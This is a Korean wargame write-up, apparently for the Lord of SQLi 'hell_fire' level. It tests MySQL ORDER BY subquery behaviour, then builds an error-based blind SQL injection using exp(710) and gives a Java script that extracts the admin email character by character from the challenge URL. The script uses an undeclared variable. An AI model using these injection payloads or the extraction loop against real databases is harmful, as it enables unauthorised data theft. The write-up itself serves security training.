우선, 논리적 정석적인 구성으로 깔끔하게 풀 수 있는 문제는 아닌 것 같다.
야매가 살짝 첨가되어야 가능하다고 생각한다.
우선 로컬환경에서 간단한 테스트 결과 목록은 이렇다.
mysql> select * from book;
+----+-------------+---------------+----------+
| id | title | description | maker_id |
+----+-------------+---------------+----------+
| 1 | About Music | Music is Life | 1 |
| 2 | About Life | Life is alone | 1 |
| 3 | Math Book | Math.PI... | 2 |
| 4 | Novel Book | I am handsome | 3 |
| 5 | About Time | TimeTravel | 1 |
| 6 | I'm hevton | by hevton | 4 |
| 7 | hi | hi | 5 |
| 8 | hi | hi | 7 |
| 9 | hi | hi | 9 |
+----+-------------+---------------+----------+
9 rows in set (0.00 sec)
mysql> select * from book order by 1;
+----+-------------+---------------+----------+
| id | title | description | maker_id |
+----+-------------+---------------+----------+
| 1 | About Music | Music is Life | 1 |
| 2 | About Life | Life is alone | 1 |
| 3 | Math Book | Math.PI... | 2 |
| 4 | Novel Book | I am handsome | 3 |
| 5 | About Time | TimeTravel | 1 |
| 6 | I'm hevton | by hevton | 4 |
| 7 | hi | hi | 5 |
| 8 | hi | hi | 7 |
| 9 | hi | hi | 9 |
+----+-------------+---------------+----------+
9 rows in set (0.00 sec)
order by 속성에 대해 간단하게 말하자면, 나열 순서이다.
1 2 3 이런 상수값을 입력하게되면, 테이블의 컬럼과 차례로 매칭된다.
1 = id , 2 = title, 3 = description
서브 쿼리 형식을 하게 되면
mysql> select * from book order by (select 1);
+----+-------------+---------------+----------+
| id | title | description | maker_id |
+----+-------------+---------------+----------+
| 1 | About Music | Music is Life | 1 |
| 2 | About Life | Life is alone | 1 |
| 3 | Math Book | Math.PI... | 2 |
| 4 | Novel Book | I am handsome | 3 |
| 5 | About Time | TimeTravel | 1 |
| 6 | I'm hevton | by hevton | 4 |
| 7 | hi | hi | 5 |
| 8 | hi | hi | 7 |
| 9 | hi | hi | 9 |
+----+-------------+---------------+----------+
9 rows in set (0.00 sec)
언뜻 결과는 같아보이지만, order by 1과 order by (select 1)의 결과는 엄연히 달랐다.
또한, 더욱 헷갈리는 현실은, 이것이다.
mysql> select * from book order by (select 1 from book);
ERROR 1242 (21000): Subquery returns more than 1 row
서브쿼리에서는 기본적으로 테이블명을 생략하게되면 자신의 테이블에서 찾게 된다. 그렇게 생각하면 위 코드와 다를게 없는데 둘의 결과는 다르다. 위의 전자의 경우에는 그냥 1인것이고, 후자의 경우에는 이런 결과를 갖는다고 보면된다. 이건 이전에도 살펴봤던 내용이라 이해가 되긴 했다.
mysql> select 1 from book;
+---+
| 1 |
+---+
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
+---+
9 rows in set (0.00 sec)
하지만 (select 1)이 order by 구문에서 그냥 1의 값 자체를 갖게 되는 것은 또 아니였다..
왜냐면 (select 1)이건 2건 3이건 항상 결과는 동일했고, order by 9는 작동하지않지만 order by (select 9)는 또 (select 1)과 동일하게 작동했다. 아마 order by 구문을 끼게 되면 다소 헷갈린 상황이 연출되는 것 같다.
여튼 이런 헷갈림을 뒤로한채.. 문제를 풀어야 한다.
문제를 풀기 전, 알아두면 좋을 의도적 '오류 발생 구문'에 대해서 링크를 넣을테니 참고하면 좋겠다.
p00y.tistory.com/entry/Error-Based-Blind-SQL-Injection-exp-%ED%95%A8%EC%88%98-%ED%99%9C%EC%9A%A9-1
SELECT exp(710)
우선 문제에서 확실한 참/거짓 경우에 대한 구분을 지어야 했다.
위에서 알아본 '오류 발생 구문' 을 토대로 식을 작성해본다.
일단 알고 있는 걸 활용해보면, 이렇게 두 경우를 구분해볼 수 있고 이것이 참/거짓의 경우라는 것을 생각해볼 수 있다.
이를 기반으로 admin의 비밀번호 길이를 알아내볼 수 있을 것이다.
서브쿼리 (select length(email) where id = 'admin')을 통해서 id가 admin인 데이터의 length(email)을 리턴했고(결과 1개)
그 값이 28과 같은지를 판단한 결과 참이므로, exp(710)이 실행되어서 의도적으로 오류가 발생하게 된다.
이제 비밀번호 각 자리수도 알아볼 수 있다.
이런식으로 한 자리씩 꺼내서 비교해보면 된다.
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
public class break_even_point {
public static void main(String args[]) {
for(int i = 1; i < 29 ; i++) { // id는 28자리
for(int j = 40 ; j < 127 ; j++)
{
try {
StringBuilder sb = new StringBuilder();
String str = "?order=(select%20exp(710)%20where%20"+j+"%20=%20(select%20ord(substr(email,"+i+",1))%20where%20id%20=%20%27admin%27))";
URL url = new URL("https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"+str);
HttpURLConnection hc = (HttpURLConnection) url.openConnection();
hc.setRequestProperty("Cookie", "PHPSESSID=x");
System.out.println("i = "+i+" j = "+j);
BufferedReader br = new BufferedReader(new InputStreamReader(hc.getInputStream()));
String s;
while ((s = br.readLine()) != null)
sb.append(s);
if (sb.indexOf("rubiya") == -1) {
d += String.format("%c", j);
System.out.println("GET :"+d);
break;
}
} catch (Exception e) {
System.out.println(e.getMessage());
return;
}
}
}
}
}
GET :admin_secure_email@emai1.com
도움을 주신 참고 블로그
rootable.tistory.com/entry/LOS-hellfire-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4
'[웹해킹] > [LOS]' 카테고리의 다른 글
[LOS] EVIL_WIZARD (0) | 2021.02.05 |
---|---|
[LOS] DARK_EYES (0) | 2020.12.30 |
[LOS] IRON_GOLEM (0) | 2020.12.29 |
[LOS] DRAGON (0) | 2020.12.28 |
[LOS] XAVIS (0) | 2020.12.27 |